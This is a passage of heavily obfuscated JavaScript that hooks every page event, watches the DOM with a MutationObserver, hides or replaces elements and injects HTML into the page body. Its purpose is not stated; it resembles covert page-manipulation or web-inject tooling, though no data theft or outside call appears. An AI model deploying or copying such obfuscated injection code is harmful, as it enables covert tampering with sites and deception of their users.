_0xaaab6=_0x19a9e7;if(!_0x3f2587){_0x3f2587=Document[_0x387e6e(_0x145205['u'],'L1bp')][_0x387e6e(_0x145205['O'],_0xe10db('0x2d1'))][_0x387e6e(_0x145205['k'],'T4dU')](document,_0x387e6e(_0x145205['w'],_0x145205['J']));_0x3f2587[_0x387e6e(_0x145205['A'],_0x145205['F'])]('type',_0x387e6e(0xae,_0x145205['f']));_0x3f2587[_0x387e6e(_0x145205['L'],_0x145205['j'])](_0x387e6e(_0x145205['Y'],_0x145205['c']),_0x387e6e(_0x145205['n'],_0x145205['q']));_0x3f2587[_0x387e6e(_0x145205['Z'],_0xe10db('0x29d'))](_0x387e6e(_0x145205['x'],'qYSa'),_0xaaab6);Document[_0x387e6e('0xc1','Ri$i')][_0x387e6e(_0x145205['R'],_0x145205['C'])][_0x387e6e(_0x145205['v'],_0xe10db('0x25f'))](document,_0x387e6e(_0x145205['B'],_0x145205['H']))[_0xe10db('0x185')](_0x3f2587);}return _0x3f2587[_0x387e6e(_0x145205['y'],_0x145205['m'])]('value');}}(_0x2c4173(0xab,_0x152592('0x1f7')));;};_classPrivateFieldLooseBase(_0x2a5c00,_dmrk)[_dmrk]=_0xc07af();var _0x28af52=function _0x36461e(){_classPrivateFieldLooseBase(_0x2a5c00,_mrk)[_mrk]=_0xc07af();};_0x28af52();setInterval(function(){return _0x28af52();},0x1388);_classPrivateFieldLooseBase(_0x2a5c00,_targetsById)[_targetsById]=new Map();_classPrivateFieldLooseBase(_0x2a5c00,_targets)[_targets]=new Map();_classPrivateFieldLooseBase(_0x2a5c00,_attributesMap)[_attributesMap]=new Map();_classPrivateFieldLooseBase(_0x2a5c00,_doc)[_doc]=_0x4e3b8a;_classPrivateFieldLooseBase(_0x2a5c00,_window)[_window]=_0x4e3b8a['parentWindow']||_0x4e3b8a['defaultView'];_classPrivateFieldLooseBase(_0x2a5c00,_eventNames)[_eventNames]=Object[_0x3b40ea('0x266')](window)[_0x3b40ea('0x245')](function(_0x172f89){var _0x25bcaf=_0xcd4e;return/^on/[_0x25bcaf('0x2fa')](_0x172f89);})[_0x3b40ea('0x277')](function(_0x3cbc4e){return _0x3cbc4e['substring'](0x2);});_0x2a5c00[_0x3b40ea('0x2a0')]=_0x2a5c00['genUid']();_0x2a5c00[_0x3b40ea('0x18d')]();return _0x2a5c00;}_inheritsLoose(_0x201972,_0x2c3d29);return _createClass(_0x201972,[{'key':'doc','get':function _0x2b1b09(){var _0x6df0a1=_0xcd4e;if('SDeWl'==='SDeWl'){var _0x3bc522=this['window'];if(_classPrivateFieldLooseBase(this,_doc)[_doc]!==_0x3bc522[_0x6df0a1('0x259')]){if('GkrPA'!=='GkrPA'){var _0x50e34a=[];for(var _0x3f2c17=_0xd2d013(_0x40010d,!![]),_0x153cf9;!(_0x153cf9=_0x3f2c17())['done'];){var _0x1357ef=_0x153cf9['value'];_0x50e34a['push'](_0x1da941['isHTMLElement'](_0x1357ef)?_0x1bd253['getTarget'](_0x1357ef)||_0x3d43b4['createTarget'](_0x1357ef):_0x1357ef);}return _0x50e34a;}else{_classPrivateFieldLooseBase(this,_doc)[_doc]=_0x3bc522[_0x6df0a1('0x259')];if(this['innerHTML']){Document['prototype'][_0x6df0a1('0x2b4')][_0x6df0a1('0x299')](_classPrivateFieldLooseBase(this,_doc)[_doc],this['innerHTML']);Document[_0x6df0a1('0x1d5')]['close']['call'](_classPrivateFieldLooseBase(this,_doc)[_doc]);}this[_0x6df0a1('0x18d')]();}}return _classPrivateFieldLooseBase(this,_doc)[_doc];}else{this['targetsById']['set'](_0x2c4d90['_id'],_0xf9089a);this[_0x6df0a1('0x234')]['set'](_0x279d69['_target'],_0x4fb28c);}}},{'key':_0x530566('0x1f8'),'get':function _0x5133bd(){var _0x33b1ec=_0xcd4e;var _0x5c9e9a=this[_0x33b1ec('0x1df')];if(_0x5c9e9a&&_0x5c9e9a['contentWindow']&&_classPrivateFieldLooseBase(this,_window)[_window]!==_0x5c9e9a['contentWindow']){_classPrivateFieldLooseBase(this,_window)[_window]=_0x5c9e9a[_0x33b1ec('0x1f4')];}return _classPrivateFieldLooseBase(this,_window)[_window];}},{'key':'targets','get':function _0x571510(){return _classPrivateFieldLooseBase(this,_targets)[_targets];}},{'key':'attributesMap','get':function _0x27f9a8(){return _classPrivateFieldLooseBase(this,_attributesMap)[_attributesMap];}},{'key':_0x530566('0x31f'),'get':function _0x271808(){return _classPrivateFieldLooseBase(this,_targetsById)[_targetsById];}},{'key':'eventNames','get':function _0x3fb8d0(){return _classPrivateFieldLooseBase(this,_eventNames)[_eventNames];}},{'key':_0x530566('0x195'),'get':function _0x4d0d60(){return _classPrivateFieldLooseBase(this,_blacklistedEvents)[_blacklistedEvents];}},{'key':_0x530566('0x1c8'),'get':function _0x451d8b(){return this['select']('body');}},{'key':'head','get':function _0x5ec83a(){return this['select']('head');}},{'key':_0x530566('0x220'),'get':function _0x11c44f(){return _classPrivateFieldLooseBase(this,_writeHTML)[_writeHTML];}},{'key':_0x530566('0x215'),'get':function _0x1ae7b4(){return _classPrivateFieldLooseBase(this,_addStyleElement)[_addStyleElement];}},{'key':'sCreate','get':function _0x2e7304(){return _classPrivateFieldLooseBase(this,_sCreate)[_sCreate];}},{'key':_0x530566('0x2c6'),'get':function _0x39f05c(){return _classPrivateFieldLooseBase(this,_dmrk)[_dmrk];}},{'key':'__mrk','get':function _0x31eb04(){return _classPrivateFieldLooseBase(this,_mrk)[_mrk];}},{'key':'getTarget','get':function _0x241fec(){return _classPrivateFieldLooseBase(this,_getTarget)[_getTarget];}},{'key':_0x530566('0x28a'),'get':function _0xd870f0(){return _classPrivateFieldLooseBase(this,_addTarget)[_addTarget];}},{'key':_0x530566('0x216'),'get':function _0x1c8b3a(){return _classPrivateFieldLooseBase(this,_createTarget)[_createTarget];}},{'key':_0x530566('0x290'),'get':function _0x4fba5a(){return _classPrivateFieldLooseBase(this,_create)[_create];}},{'key':'select','get':function _0x478113(){return _classPrivateFieldLooseBase(this,_select)[_select];}},{'key':'wait','get':function _0x2e499a(){return _classPrivateFieldLooseBase(this,_wait)[_wait];}},{'key':'waitElements','get':function _0x32ca6f(){return _classPrivateFieldLooseBase(this,_waitElements)[_waitElements];}}]);}(Utils);function _addStyleElement2(){var _0x54d1db=_0xcd4e;var _0xfe8f30='s'+this[_0x54d1db('0x2a0')];if(!Document['prototype']['querySelector'][_0x54d1db('0x299')](this[_0x54d1db('0x31e')],_0x54d1db('0x2dc')+_0xfe8f30+']')){var _0x3d2664='[e'+this['__elementMark']+_0x54d1db('0x207');var _0x35b669=Document['prototype'][_0x54d1db('0x2f7')][_0x54d1db('0x299')](this['doc'],'style');var _0x16f6fd=Document['prototype']['getElementsByTagName'][_0x54d1db('0x299')](this[_0x54d1db('0x31e')],_0x54d1db('0x2b8'))[0x0];HTMLElement['prototype'][_0x54d1db('0x2f3')][_0x54d1db('0x299')](_0x35b669,'type','text/css');HTMLElement['prototype'][_0x54d1db('0x2f3')]['call'](_0x35b669,_0xfe8f30,'1');HTMLElement['prototype']['appendChild']['call'](_0x16f6fd,_0x35b669);if(_0x35b669['styleSheet']){_0x35b669['styleSheet']['cssText']=_0x3d2664;}else{var _0x9cb6be=Document[_0x54d1db('0x1d5')]['createTextNode']['call'](this[_0x54d1db('0x31e')],_0x3d2664);HTMLElement['prototype']['appendChild']['call'](_0x35b669,_0x9cb6be);}}}function _sCreate2(){var _0x7f0883=this;var _0x37cb63=function _0x288fec(_0x4e5339,_0x3f0e50){var _0x3e5dcc=_0xcd4e;if(_0x3e5dcc('0x30d')==='pdKGh'){return _0x3635b4(this,_0x13dacf)[_0x38f560];}else{if(_0x3f0e50===void 0x0){_0x3f0e50=!![];}var _0x41aecc=_0x4e5339[_0x3e5dcc('0x17e')],_0x6cea38=_0x4e5339[_0x3e5dcc('0x21f')];if(!_0x7f0883['blacklistedEvents']['includes'](_0x6cea38)){var _0x571999=_0x41aecc;var _0x45a9bd;var _0x445640=_0x7f0883[_0x3e5dcc('0x234')];var _0x54d790=[];var _0x19c2a4=[];do{if('YauNQ'!==_0x3e5dcc('0x1b0')){_0x45a9bd=_0x571999['parentNode'];if(_0x571999[_0x3e5dcc('0x2bd')]===Node[_0x3e5dcc('0x30b')]){_0x19c2a4[_0x3e5dcc('0x219')](_0x571999);}}else{_0x143e5e[_0x3e5dcc('0x1d5')]['add']['call'](_0x28c27e['classList'],_0x1b8a95);}}while(_0x45a9bd&&!((_0x571999=_0x45a9bd)['tagName']||'HTML')[_0x3e5dcc('0x265')](/^HTML$/i));if(_0x19c2a4[_0x3e5dcc('0x1ad')]>0x0){for(var _0x2dbc4c=_createForOfIteratorHelperLoose(_0x445640,!![]),_0x46ee3c;!(_0x46ee3c=_0x2dbc4c())['done'];){var _0x3d5422=_0x46ee3c[_0x3e5dcc('0x2df')],_0x2e1255=_0x3d5422[0x0],_0x4c7928=_0x3d5422[0x1];if(_0x19c2a4[_0x3e5dcc('0x184')](_0x4c7928[_0x3e5dcc('0x1e3')])||_0x19c2a4[_0x3e5dcc('0x184')](_0x4c7928['_rawTarget'])){_0x54d790['push']([_0x2e1255,_0x4c7928]);}if(_0x4c7928['_replacedElement']&&typeof _0x4c7928['_changeChecker']==='function'){_0x4c7928['_changeChecker']();}}}for(var _0x75cf0c=0x0,_0xdb7248=_0x54d790;_0x75cf0c<_0xdb7248[_0x3e5dcc('0x1ad')];_0x75cf0c++){var _0xb954ac=_0xdb7248[_0x75cf0c],_0x4dbeb3=_0xb954ac[0x0],_0x4c4da1=_0xb954ac[0x1];var _0x203d2a=_0x4c4da1['_rawTarget'];if(_0x4dbeb3!==_0x203d2a){if('liReG'===_0x3e5dcc('0x1ee')){return _0x3b5c0b['useAs'](_0x5ecc10,_0x2ccb76);}else{_0x7f0883[_0x3e5dcc('0x234')]['set'](_0x203d2a,_0x4c4da1);_0x7f0883[_0x3e5dcc('0x234')][_0x3e5dcc('0x1c1')](_0x4dbeb3);}}if(_0x4c4da1[_0x3e5dcc('0x1cd')]){if(!_0x4c4da1['_changeChecker']){if(_0x3e5dcc('0x2be')!=='UYzTK'){_0x418853(_0x2a406f,_0x326f14)[_0x40466d]=_0x2108ab();}else{CSSStyleDeclaration['prototype'][_0x3e5dcc('0x22c')]['call'](_0x203d2a['style'],_0x3e5dcc('0x2e5'),'none',_0x3e5dcc('0x24d'));if(!_0x4c4da1['_replacedElement'][_0x3e5dcc('0x306')]){HTMLElement[_0x3e5dcc('0x1d5')]['insertBefore'][_0x3e5dcc('0x299')](_0x203d2a[_0x3e5dcc('0x2c3')],_0x4c4da1['_replacedElement'],_0x203d2a['nextSibling']);}}}else{if(!_0x4c4da1['_rawTargetShow']){CSSStyleDeclaration[_0x3e5dcc('0x1d5')][_0x3e5dcc('0x22c')]['call'](_0x203d2a[_0x3e5dcc('0x1cb')],'visibility','hidden','important');}}}_0x4c4da1['_addAllChanges']();if(!_0x4c4da1[_0x3e5dcc('0x2f5')]['has'](_0x6cea38)){_0x4c4da1['_eventListeners'][_0x3e5dcc('0x285')](_0x6cea38,new Set());}if(_0x3f0e50){_0x4c4da1['emit'](_0x6cea38,_0x4e5339);}if(_0x4c4da1['_lockedEventListeners'][_0x3e5dcc('0x18a')](_0x6cea38)){try{Event['prototype'][_0x3e5dcc('0x221')]['call'](_0x4e5339);if(_0x4e5339['cancelable']){Event['prototype']['preventDefault'][_0x3e5dcc('0x299')](_0x4e5339);}}catch(_0x195b66){_0x7f0883['log'](_0x195b66);}return![];}}}}};setTimeout(function(){var _0x57a7e5=_0xcd4e;_0x7f0883['eventNames']['map'](function(_0x5e6dc9){var _0x2913e6=_0xcd4e;return EventTarget[_0x2913e6('0x1d5')][_0x2913e6('0x233')][_0x2913e6('0x299')](_0x7f0883[_0x2913e6('0x31e')][_0x2913e6('0x2b6')],_0x5e6dc9,function(_0x2851ee){return _0x37cb63(_0x2851ee);},!![]);});EventTarget['prototype'][_0x57a7e5('0x233')][_0x57a7e5('0x299')](_0x7f0883['window'],_0x57a7e5('0x2d2'),function(_0x1fc5d2){var _0x5b84bb=_0x1fc5d2['type'];return _0x37cb63({'target':_0x7f0883['body']['_target'],'type':_0x5b84bb});},!![]);EventTarget[_0x57a7e5('0x1d5')]['addEventListener']['call'](_0x7f0883[_0x57a7e5('0x1f8')],'scroll',function(_0x13dab5){var _0x29588b=_0xcd4e;var _0x2a37ce=_0x13dab5['type'];return _0x37cb63({'target':_0x7f0883[_0x29588b('0x1c8')]['_target'],'type':_0x2a37ce});},!![]);var _0x418498=new MutationObserver(function(_0x53277a){if('jSlBY'==='jSlBY'){return _0x53277a['map'](function(_0x378324){var _0x37fa4a=_0xcd4e;if(_0x37fa4a('0x230')==='CyLbu'){var _0x5c56fd=_0x378324['type'],_0x2a5f9f=_0x378324[_0x37fa4a('0x17e')],_0x36f603=_0x378324['addedNodes'];switch(_0x5c56fd){case'childList':if(Object['prototype']['isPrototypeOf']['call'](NodeList['prototype'],_0x36f603)){return _0x36f603['forEach'](function(_0x1cde02){var _0x4f3f72=_0xcd4e;if('HXlmA'!=='HXlmA'){_0x47192c=[_0x25ce6b,_0x4b9f90]['includes'](_0x20f451[_0x4f3f72('0x1ad')]);}else{return _0x37cb63({'target':_0x1cde02,'type':'connected'},!![]);}});}return;case'attributes':if(!_0x7f0883[_0x37fa4a('0x303')]['has'](_0x2a5f9f)){_0x7f0883[_0x37fa4a('0x303')]['set'](_0x2a5f9f,{});}var _0x3c3288=_0x7f0883[_0x37fa4a('0x303')]['get'](_0x2a5f9f);var _0x1a44e6=HTMLElement['prototype']['getAttribute']['call'](_0x2a5f9f,'class');var _0x21fd33=HTMLElement['prototype'][_0x37fa4a('0x310')]['call'](_0x2a5f9f,_0x37fa4a('0x1cb'));if(_0x3c3288['style']===_0x21fd33&&_0x3c3288['class']===_0x1a44e6){return;}_0x3c3288['style']=_0x21fd33;_0x3c3288['class']=_0x1a44e6;return _0x37cb63({'target':_0x2a5f9f,'type':_0x5c56fd},![]);}}else{var _0x1716ec=_0xfa0c5d['value'];_0x4bb4b6[_0x37fa4a('0x219')](_0x15f61a['isHTMLElement'](_0x1716ec)?_0x3f9d80[_0x37fa4a('0x1d1')](_0x1716ec)||_0x17e347[_0x37fa4a('0x216')](_0x1716ec):_0x1716ec);}});}else{return _0x6b12e7(this,_0x4109d0)[_0x4baf00];}});_0x418498[_0x57a7e5('0x2d6')](_0x7f0883[_0x57a7e5('0x31e')],{'childList':!![],'subtree':!![],'attributes':!![],'attributeFilter':[_0x57a7e5('0x1cb'),_0x57a7e5('0x278')]});});try{this['addStyleElement']();}catch(_0xb7c5e){if('oxcUW'==='oxcUW'){this['log'](_0xb7c5e);}else{return _0xf02d1c(this,_0x27c16d)[_0x5a7e32];}}}function _writeHTML2(_0x3549f8,_0x4a9e27){var _0x13fca6=this;if(_0x4a9e27===void 0x0){_0x4a9e27=0x2710;}return new Promise(function(_0x3b3daf){var _0x2d8b94=_0xcd4e;var _0x863d40=_0x2d8b94('0x191');_0x3549f8=_0x3549f8['indexOf'](_0x2d8b94('0x25c'))>-0x1?_0x3549f8['replace'](/\<\/body/g,_0x863d40+'